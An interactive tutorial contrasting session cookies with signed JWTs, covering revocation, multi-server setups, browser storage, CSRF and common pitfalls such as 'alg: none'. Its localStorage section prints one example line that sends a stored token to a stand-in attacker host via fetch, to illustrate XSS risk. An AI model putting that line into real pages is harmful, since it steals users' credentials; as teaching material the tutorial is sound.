Skip to content

Sessions vs tokens

Working knowledgeConcept

You signed in once, yet every later request still proves who you are. There are two common ways to do that, and they differ most where it hurts: signing someone out, running many servers, and what the browser holds.

01 What the next request has to prove

HTTP keeps no memory between requests. After the password check, the server gives the browser something to send back each time. It is either a session ID, a random key into data the server keeps, or a signed token, which carries the data itself with a signature that proves the server wrote it.

Neither is “the secure one”. They put the state in different places, and everything else follows from that.

02 A session ID: the server remembers

With sessions, the server holds a table from ID to user. The ID is just a long random string, so guessing one is hopeless and stealing one is the main risk.

A session cookie, from login to logout
Step 1 of 9
Messages between browser and server
Empty
Session store (on the server)
Empty
  • just sent or stored
  • looked up
  • deleted

Ana has not signed in. Her browser holds no cookie and the server’s session store is empty.

03 A signed token: the request carries it

A JSON Web Token (JWT) is three base64url-encoded parts joined by dots. The payload holds claims: who the user is (sub) and when the token stops being valid (exp).

JavaScript
// header
{ "alg": "HS256", "typ": "JWT" }
// payload (the claims)
{ "sub": "ana", "role": "customer", "iat": 1767225600, "exp": 1767226500 }
// signature
HMAC-SHA256(base64url(header) + "." + base64url(payload), serverKey)

Any server that knows the key can check a token without asking anyone, because the signature ties the claims to the key.

Checking a signed token (JWT)
Step 1 of 5
Token from the Authorization header, split on dots
headereyJhbGci…
payloadeyJzdWIi…
signaturek3Jq9X…
What the server works out
Empty
  • reading now
  • fed into the HMAC
  • just worked out
  • checked
  • not read yet

A request arrives with Authorization: Bearer eyJhbGci…. The server has its signing key in memory and no database open.

Signed is not encrypted. Anyone who holds the token can base64-decode the payload and read every claim. Never put secrets or personal data in it that the holder should not see.

04 Signing someone out

This is the biggest difference. A session is valid only while its row exists, so deleting the row ends it on the next request. A token is valid until its exp, on every server, whatever happens in the meantime.

Session IDDelete one rowLogout, password change or a stolen device takes effect on the very next request.
Signed tokenWait for expUnless every server also checks a deny list, which is a lookup per request again.

The usual compromise: a short-lived access token (often 5 to 15 minutes) plus a long-lived refresh token that the auth server stores and can revoke. Revoking the refresh token stops new access tokens; the current one still works until it expires.

05 Many servers, many services

With one server, a session store is a hash map in memory. With several, each one has to see the same sessions, so the store moves out to something shared such as Redis or the database. Tokens avoid that: share the key, or sign with a private key (RS256, ES256) and give every service the public key.

Session ID vs signed token
AspectSession IDSigned token
State livesIn a store on the serverInside the token
Each request costsOne store lookupOne signature check
Several serversShare the storeShare the key or a public key
Revoke one userDelete the rowDeny list, or wait for expiry
Size on each requestA few dozen bytesHundreds of bytes, more with every claim
Change a user’s roleTakes effect at onceTakes effect with the next token

Sessions are a good default for one web app talking to its own back end. Tokens earn their keep when many independent services must check identity without calling home on every request.

06 Where the browser keeps it

Format and storage are separate choices: a cookie can hold a session ID or a JWT. What matters is who can read it. Anything in localStorage is readable by every script on the page, so one cross-site scripting (XSS) bug hands it to an attacker. An HttpOnly cookie cannot be read by scripts at all.

localStorage
localStorage.setItem('token', jwt);
// any script on the page can do:
fetch('https://evil.example/?t=' + localStorage.token);
HttpOnly cookie
Set-Cookie: sid=s_8f2c; HttpOnly; Secure;
SameSite=Lax; Path=/; Max-Age=1800

Cookies bring their own risk: the browser sends them automatically, even on requests another site triggers. That is cross-site request forgery (CSRF). SameSite=Lax stops cookies on most cross-site requests other than top-level navigations; add a CSRF token for anything sensitive that Lax does not cover.

07 When it goes wrong

{ "alg": "none" }Trusting the token’s own algSome old libraries accepted an unsigned token if its header said so. Fix the expected algorithm on the server.
exp: now + 30 daysLong-lived access tokensA leaked token works for a month and you cannot pull it back. Keep access tokens short and revoke refresh tokens.
sid unchanged after loginSession fixationIf the ID from before login stays valid after it, an attacker who planted that ID is now signed in. Issue a new ID at login.
aud and iss never checkedA token meant for someone elseA token signed for service A is accepted by service B. Check aud (who it is for) and iss (who signed it).
Cookie: token=eyJ…(5 KB)Tokens that outgrow a cookieBrowsers typically cap a cookie at about 4 KB. Keep claims to IDs, not whole user records.

08 Check yourself

Question

A user reports a stolen laptop and you must sign them out everywhere, now. Which design does it with one write?

Question

Can the holder of a JWT read its payload without the server’s key?

Question

To revoke JWTs early, you check a deny list in Redis on every request. What did you give up?

09 Practise this

Was this tutorial useful?Your vote tells us what to improve next.
Spotted a mistake, or something unclear?